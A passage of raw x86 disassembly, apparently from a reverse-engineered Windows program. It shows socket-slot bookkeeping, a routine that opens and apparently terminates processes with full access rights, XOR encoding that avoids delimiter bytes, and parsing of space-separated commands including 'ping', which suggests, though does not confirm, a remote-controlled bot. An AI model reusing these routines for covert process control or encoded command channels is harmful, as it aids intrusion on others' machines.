		jbe	short loc_426723
		pop	edi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426723:				; CODE XREF: ___:0042671Bj
		cmp	eax, 0FFFFh
		jbe	short loc_426730
		pop	edi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426730:				; CODE XREF: ___:00426728j
		push	esi
		push	edi
		push	ebx
		call	sub_4013CA
		add	eax, 101h
		push	eax
		nop
		call	near ptr 77C2C407h
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_4013CA
		add	esp, 8
		push	eax
		push	esi
		call	sub_401794
		push	eax
		mov	eax, [esp+28h]
		push	esi
		push	ebp
		push	eax
		call	sub_401B8B
		push	esi
		mov	edi, eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 24h
		mov	eax, edi
		pop	esi
		pop	edi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4267A0	proc near		; CODE XREF: sub_4017C6j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_4267A9
		inc	ecx


loc_4267A9:				; CODE XREF: sub_4267A0+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_4267A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4267D0	proc near		; CODE XREF: sub_401B8Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_C]
		cmp	bl, 0Ah
		jz	short loc_4267E8
		cmp	bl, 0Dh
		jz	short loc_4267E8
		cmp	bl, 5Ch
		jz	short loc_4267E8
		test	bl, bl
		jnz	short loc_4267E9


loc_4267E8:				; CODE XREF: sub_4267D0+8j
					; sub_4267D0+Dj ...
		inc	ebx


loc_4267E9:				; CODE XREF: sub_4267D0+16j
		cmp	ebx, 0FFh
		jbe	short loc_42680C
		mov	eax, ebx
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_426806
		cmp	al, 0Dh
		jz	short loc_426806
		cmp	al, 5Ch
		jz	short loc_426806
		test	al, al
		jnz	short loc_42680C


loc_426806:				; CODE XREF: sub_4267D0+28j
					; sub_4267D0+2Cj ...
		add	ebx, 100h


loc_42680C:				; CODE XREF: sub_4267D0+1Fj
					; sub_4267D0+34j
		push	ebx
		call	sub_4017C6
		mov	ecx, [esp+8+arg_4]
		add	esp, 4
		cmp	eax, ecx
		mov	[esp+4+arg_C], eax
		jbe	short loc_426825
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426825:				; CODE XREF: sub_4267D0+4Fj
		cmp	eax, 0FFFFh
		jbe	short loc_426830
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426830:				; CODE XREF: sub_4267D0+5Aj
		mov	al, byte_510114
		xor	edx, edx
		push	ebp
		mov	ebp, [esp+8+arg_8]
		test	ebx, ebx
		push	esi
		jbe	short loc_426860


loc_426841:				; CODE XREF: sub_4267D0+8Ej
		mov	cl, [edx+ebp]
		xor	cl, al
		jz	short loc_426857
		cmp	cl, 0Ah
		jz	short loc_426857
		cmp	cl, 0Dh
		jz	short loc_426857
		cmp	cl, 5Ch
		jnz	short loc_42685B


loc_426857:				; CODE XREF: sub_4267D0+76j
					; sub_4267D0+7Bj ...
		inc	al
		xor	edx, edx


loc_42685B:				; CODE XREF: sub_4267D0+85j
		inc	edx
		cmp	edx, ebx
		jb	short loc_426841


loc_426860:				; CODE XREF: sub_4267D0+6Fj
		cmp	ebx, 0FFh
		push	edi
		mov	byte_510114, al
		ja	short loc_426893
		mov	edx, [esp+10h+arg_0]
		mov	ecx, 5
		mov	esi, offset loc_446C44
		mov	edi, edx
		mov	byte_446C51, bl
		mov	byte_446C55, al
		rep movsd
		movsb
		mov	esi, 15h
		jmp	short loc_4268B9
; ---------------------------------------------------------------------------


loc_426893:				; CODE XREF: sub_4267D0+9Cj
		mov	edx, [esp+10h+arg_0]
		mov	ecx, 5
		mov	esi, offset loc_446C2C
		mov	edi, edx
		mov	word_446C3A, bx
		mov	byte_446C3F, al
		rep movsd
		movsw
		movsb
		mov	esi, 17h


loc_4268B9:				; CODE XREF: sub_4267D0+C1j
		xor	ecx, ecx
		pop	edi
		test	ebx, ebx
		jbe	short loc_4268CF
		add	esi, edx


loc_4268C2:				; CODE XREF: sub_4267D0+FDj
		mov	dl, [ecx+ebp]
		xor	dl, al
		mov	[esi+ecx], dl
		inc	ecx
		cmp	ecx, ebx
		jb	short loc_4268C2


loc_4268CF:				; CODE XREF: sub_4267D0+EEj
		mov	eax, [esp+0Ch+arg_C]
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4267D0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426930	proc near		; CODE XREF: sub_401E3Dj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		lea	eax, [ecx+ecx*2]
		shl	eax, 4
		sub	eax, ecx
		xor	ecx, ecx
		lea	eax, [eax+eax*2]
		mov	dword_44B19F[eax*4], ecx
		mov	dword_44B18B[eax*4], ecx
		mov	dword_44B18F[eax*4], ecx
		mov	dword_44B193[eax*4], ecx
		mov	dword_44B197[eax*4], ecx
		mov	dword_44B19B[eax*4], ecx
		mov	byte_44AF8B[eax*4], cl
		mov	byte_44B1A3[eax*4], cl
		retn
sub_426930	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4269A0	proc near		; CODE XREF: sub_401370j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	ebx
		push	ebp
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	ecx, ebx
		jle	loc_426A57
		cmp	ecx, 400h
		jge	loc_426A57
		lea	eax, [ecx+ecx*2]
		push	esi
		shl	eax, 4
		sub	eax, ecx
		push	edi
		push	ebx
		lea	esi, [eax+eax*2]
		mov	eax, dword_44B19F[esi*4]
		push	eax
		call	near ptr 2770AD1h
		nop
		cmp	dword_44B19F[esi*4], ebx
		jz	short loc_4269E8
		mov	ebp, 1


loc_4269E8:				; CODE XREF: sub_4269A0+41j
		mov	dword_44B19F[esi*4], ebx
		mov	dword_44B18B[esi*4], ebx
		mov	dword_44B18F[esi*4], ebx
		mov	eax, dword_44B193[esi*4]
		cmp	eax, ebx
		jbe	short loc_426A11
		push	eax
		call	sub_401C80
		add	esp, 4


loc_426A11:				; CODE XREF: sub_4269A0+66j
		mov	edi, dword_511C9C
		mov	dword_44B193[esi*4], ebx
		mov	byte_44AF8B[esi*4], bl
		mov	byte_44B1A3[esi*4], bl
		mov	ecx, dword_44B197[esi*4]
		push	ecx
		call	edi	; closesocket
		mov	dword_44B197[esi*4], ebx
		mov	edx, dword_44B19B[esi*4]
		lea	esi, ds:44B19Bh[esi*4]
		push	edx
		call	edi	; closesocket
		mov	[esi], ebx
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426A57:				; CODE XREF: sub_4269A0+Cj
					; sub_4269A0+18j
		mov	eax, ebp
		pop	ebp
		pop	ebx
		retn
sub_4269A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426A90	proc near		; CODE XREF: sub_401DA7j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		xor	edi, edi
		mov	esi, offset dword_44B18F


loc_426AA1:				; CODE XREF: sub_426A90+52j
		mov	eax, [esp+10h+arg_0]
		mov	ecx, [esi-4]
		cmp	ecx, eax
		jnz	short loc_426AD5
		test	ebx, ebx
		jle	short loc_426AC7
		cmp	[esi], ebx
		jz	short loc_426AB8
		cmp	edi, ebx
		jnz	short loc_426AD5


loc_426AB8:				; CODE XREF: sub_426A90+22j
		push	edi
		call	sub_401370
		add	esp, 4
		test	eax, eax
		jz	short loc_426AD5
		jmp	short loc_426AD4
; ---------------------------------------------------------------------------


loc_426AC7:				; CODE XREF: sub_426A90+1Ej
		push	edi
		call	sub_401370
		add	esp, 4
		test	eax, eax
		jz	short loc_426AD5


loc_426AD4:				; CODE XREF: sub_426A90+35j
		inc	ebp


loc_426AD5:				; CODE XREF: sub_426A90+1Aj
					; sub_426A90+26j ...
		add	esi, 234h
		inc	edi
		cmp	esi, offset byte_4D818F
		jl	short loc_426AA1
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_426A90	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426B10	proc near		; CODE XREF: sub_401C80j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		push	eax
		push	0
		push	1F0FFFh
		mov	edi, 1
		nop
		call	near ptr 2700000h
		mov	esi, eax
		test	esi, esi
		jz	short loc_426B45
		push	0
		push	esi
		nop
		call	near ptr 2790261h
		test	eax, eax
		jnz	short loc_426B45
		push	esi
		xor	edi, edi
		nop
		call	near ptr 283061Dh


loc_426B45:				; CODE XREF: sub_426B10+1Dj
					; sub_426B10+2Aj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_426B10	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426B60	proc near		; CODE XREF: sub_40148Dj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		xor	eax, eax
		mov	ecx, offset dword_44B18B


loc_426B6B:				; CODE XREF: sub_426B60+1Cj
		cmp	[ecx], edx
		jnz	short loc_426B70
		inc	eax


loc_426B70:				; CODE XREF: sub_426B60+Dj
		add	ecx, 234h
		cmp	ecx, offset byte_4D818B
		jl	short loc_426B6B
		retn
sub_426B60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426B90	proc near		; CODE XREF: sub_401DA2j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		push	esi
		xor	esi, esi
		xor	eax, eax
		mov	ecx, offset dword_44B18B


loc_426B9E:				; CODE XREF: sub_426B90+1Fj
		cmp	[ecx], edx
		jz	short loc_426BB3
		add	ecx, 234h
		inc	eax
		cmp	ecx, offset byte_4D818B
		jl	short loc_426B9E
		mov	eax, esi


loc_426BB3:				; CODE XREF: sub_426B90+10j
		pop	esi
		retn
sub_426B90	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426BD0	proc near		; CODE XREF: sub_401BEAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset byte_44AF8B


loc_426BD8:				; CODE XREF: sub_426BD0+18j
		cmp	byte ptr [eax],	0
		jz	short loc_426BEE
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4D7F8B
		jl	short loc_426BD8
		mov	eax, edi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_426BEE:				; CODE XREF: sub_426BD0+Bj
		lea	eax, [edi+edi*2]
		push	esi
		shl	eax, 4
		sub	eax, edi
		push	1FFh
		lea	eax, [eax+eax*2]
		lea	esi, ds:44AF8Bh[eax*4]
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	esi
		nop
		call	near ptr 77C47A90h
		mov	ecx, [esp+14h+arg_4]
		mov	edx, [esp+14h+arg_8]
		mov	[esi+200h], ecx
		mov	dword ptr [esi+204h], 0
		add	esp, 0Ch
		mov	dword ptr [esi+208h], 0
		mov	[esi+20Ch], edx
		mov	byte ptr [esi+218h], 0
		mov	eax, edi
		pop	esi
		pop	edi
		retn
sub_426BD0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426C70	proc near		; CODE XREF: sub_401613j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426C70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	7
		push	0Eh
		push	9
		push	10h
		push	4Fh
		push	13h
		push	0Fh
		mov	esi, ecx
		push	4
		lea	eax, [esp+68h+var_3C]
		push	4
		push	eax
		mov	dword ptr [esi+118h], 0
		mov	byte ptr [esi+11Ch], 0
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_426C70	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	4
		push	15h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	edx, [esp+28h]
		push	4
		push	edx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Eh
		push	19h
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	ecx, [esp+28h]
		push	4
		push	ecx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+60h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	eax, [esp+2Ch]
		push	4
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+0EAh]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Eh
		push	19h
		push	13h
		push	4
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	edx, [esp+48h]
		push	4
		push	edx
		call	sub_4019C4
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		add	esi, 8Eh
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426EC0:				; CODE XREF: ___:loc_401B81j
		push	0FFFFFFFFh
		push	offset loc_43C9C4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+50h]
		mov	ebx, ecx
		push	edi
		lea	ebp, [esi+7Eh]
		lea	ecx, [ebx+60h]
		mov	[esp+54h], ebp
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		mov	edi, dword_511B14
		test	eax, eax
		jnz	loc_427058
		push	95h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		xor	ebp, ebp
		cmp	eax, ebp
		mov	[esp+4Ch], ebp
		jz	short loc_426F2B
		mov	ecx, eax
		call	sub_401DF2
		mov	ebp, eax


loc_426F2B:				; CODE XREF: ___:00426F20j
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016B8
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 1
		call	sub_401FDC
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 2
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+50h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 3
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 4
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [ebp+26h]
		call	sub_401FDC
		mov	dl, [esi+93h]
		mov	ecx, ebp
		mov	[ebp+8Fh], dl
		mov	al, [esi+94h]
		mov	[ebp+90h], al
		call	sub_4013DE
		mov	ebp, [esp+54h]


loc_427058:				; CODE XREF: ___:00426F01j
		lea	ecx, [ebx+8Eh]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4271CA
		push	95h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 5
		jz	short loc_42709B
		mov	ecx, eax
		call	sub_401BDB
		mov	ebp, eax
		jmp	short loc_42709D
; ---------------------------------------------------------------------------


loc_42709B:				; CODE XREF: ___:0042708Ej
		xor	ebp, ebp


loc_42709D:				; CODE XREF: ___:00427099j
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	1
		push	ecx
		mov	byte ptr [ebx+11Ch], 1
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016B8
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 6
		call	sub_401FDC
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 7
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+50h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 8
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	4
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 9
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	edx, [esi+69h]
		lea	ecx, [ebp+26h]
		push	edx
		call	sub_401FDC
		mov	al, [esi+93h]
		mov	[ebp+8Fh], al
		mov	cl, [esi+94h]
		mov	[ebp+90h], cl
		mov	ecx, ebp
		call	sub_4013DE
		mov	ebp, [esp+54h]


loc_4271CA:				; CODE XREF: ___:0042706Dj
		lea	ecx, [ebx+4]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_427339
		push	95h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 0Ah
		jz	short loc_42720A
		mov	ecx, eax
		call	sub_40130C
		mov	ebp, eax
		jmp	short loc_42720C
; ---------------------------------------------------------------------------


loc_42720A:				; CODE XREF: ___:004271FDj
		xor	ebp, ebp


loc_42720C:				; CODE XREF: ___:00427208j
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	edx
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016B8
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 0Bh
		call	sub_401FDC
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	2
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Ch
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+5Ch], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	3
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Dh
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+60h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	4
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Eh
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [ebp+26h]
		push	eax
		call	sub_401FDC
		mov	cl, [esi+93h]
		mov	[ebp+8Fh], cl
		mov	dl, [esi+94h]
		mov	ecx, ebp
		mov	[ebp+90h], dl
		call	sub_4013DE
		mov	ebp, [esp+54h]


loc_427339:				; CODE XREF: ___:004271DCj
		lea	ecx, [ebx+32h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4274E4
		push	95h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 0Fh
		jz	short loc_427379
		mov	ecx, eax
		call	sub_40178F
		mov	ebp, eax
		jmp	short loc_42737B
; ---------------------------------------------------------------------------


loc_427379:				; CODE XREF: ___:0042736Cj
		xor	ebp, ebp


loc_42737B:				; CODE XREF: ___:00427377j
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016B8
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 10h
		call	sub_401FDC
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 11h
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+5Ch], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 12h
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+60h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 13h
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+30h]
		push	5
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 14h
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+2Ch]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	edx, [esi+69h]
		lea	ecx, [ebp+26h]
		push	edx
		call	sub_401FDC
		mov	al, [esi+93h]
		mov	[ebp+8Fh], al
		mov	cl, [esi+94h]
		mov	[ebp+90h], cl
		mov	ecx, ebp
		call	sub_4013DE
		mov	ebp, [esp+54h]


loc_4274E4:				; CODE XREF: ___:0042734Bj
		lea	ecx, [ebx+0EAh]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_427501
		mov	[ebx+11Ch], al


loc_427501:				; CODE XREF: ___:004274F9j
		mov	ecx, [esp+44h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn	4
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 1A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4276C0	proc near		; CODE XREF: sub_401A78j

var_4		= dword	ptr -4

		push	ecx
		mov	edx, dword_449A04
		push	esi
		mov	esi, ecx
		mov	eax, [esi+91h]
		mov	ecx, [eax+118h]
		cmp	edx, ecx
		jl	short loc_4276E1
		inc	ecx
		mov	[eax+118h], ecx


loc_4276E1:				; CODE XREF: sub_4276C0+18j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+8]
		mov	eax, [esi+91h]
		mov	[esp+8+var_4], esi
		mov	ecx, [eax+118h]
		dec	ecx
		mov	[eax+118h], ecx
		lea	ecx, [esp+8+var_4]
		push	ecx
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
sub_4276C0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427740	proc near		; CODE XREF: sub_40130Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427740
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F9B
		push	offset aPing	; "ping"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F0DC
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427740	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4277B0	proc near		; CODE XREF: sub_401F9Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4277B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E88
